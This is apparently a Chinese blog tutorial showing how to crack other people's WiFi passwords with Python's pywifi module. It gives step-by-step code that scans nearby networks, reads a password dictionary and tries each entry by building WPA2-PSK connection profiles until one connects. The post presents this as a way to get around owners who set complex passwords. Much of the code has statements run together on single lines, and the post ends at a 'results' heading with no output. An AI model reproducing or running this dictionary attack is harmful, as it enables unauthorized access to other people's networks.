现在每个家庭都有WiFi!大家都以为为了防止别人蹭WiFi密码设置复杂一点,万能钥匙就破解不了!今天给大家看看python工程师是怎么破解WiFi密码的!今天利用python中的pywifi模块来写这个程序!上教程
一、获取密码文件的路径
self.get_value = StringVar()
二、获取WiFi账号
self.get_wifi_value = StringVar()
三、获取WiFi密码
self.get_wifimm_value = StringVar()
四、抓取网卡接口
self.wifi = pywifi.PyWiFi()
五、抓取第一个无线网卡
self.iface = self.wifi.interfaces()[0]
六、测试连接断开所有链接
self.iface.disconnect()
七、测试网卡是否属于断开状态
assert self.iface.status() in\[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
八、自动会调用的函数,返回自身的网卡
return '(WIFI:%s,%s)' % (self.wifi,self.iface.name())
九、搜索WiFi
#开始扫描print("^_^ 开始扫描附近wifi...")self.iface.scan()time.sleep(15)#在若干秒后获取扫描结果scanres = self.iface.scan_results()#统计附近被发现的热点数量nums = len(scanres)print("数量: %s"%(nums))#print ("| %s | %s | %s | %s"%("WIFIID","SSID","BSSID","signal"))# 实际数据self.show_scans_wifi_list(scanres)return scanres
十、添加密码文件目录
self.filename = tkinter.filedialog.askopenfilename()self.get_value.set(self.filename)
十一、Treeview绑定事件
self.sels= event.widget.selection()self.get_wifi_value.set(self.wifi_tree.item(self.sels,"values")[1])#print("you clicked on",self.wifi_tree.item(self.sels,"values")[1])
十二、读取密码字典,进行匹配
def readPassWord(self):self.getFilePath = self.get_value.get()self.get_wifissid = self.get_wifi_value.get()pwdfilehander=open(self.getFilePath,"r",errors="ignore")while True:try:self.pwdStr=pwdfilehander.readline()if not self.pwdStr:breakself.bool1=self.connect(self.pwdStr,self.get_wifissid)if self.bool1:self.res = "===正确=== wifi名:%s 匹配密码:%s "%(self.get_wifissid,self.pwdStr)self.get_wifimm_value.set(self.pwdStr)tkinter.messagebox.showinfo('提示', '破解成功!!!')print(self.res)breakelse:self.res = "---错误--- wifi名:%s匹配密码:%s"%(self.get_wifissid,self.pwdStr)print(self.res)time.sleep(3)except:continue
十三、对wifi和密码进行匹配
#创建wifi链接文件self.profile = pywifi.Profile()self.profile.ssid =wifi_ssid #wifi名称self.profile.auth = const.AUTH_ALG_OPEN #网卡的开放self.profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法self.profile.cipher = const.CIPHER_TYPE_CCMP #加密单元self.profile.key = pwd_Str #密码self.iface.remove_all_network_profiles() #删除所有的wifi文件self.tmp_profile = self.iface.add_network_profile(self.profile)#设定新的链接文件self.iface.connect(self.tmp_profile)#链接time.sleep(5)if self.iface.status() == const.IFACE_CONNECTED: #判断是否连接上isOK=Trueelse:isOK=Falseself.iface.disconnect() #断开time.sleep(1)#检查断开状态assert self.iface.status() in\[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]return isOK
运行结果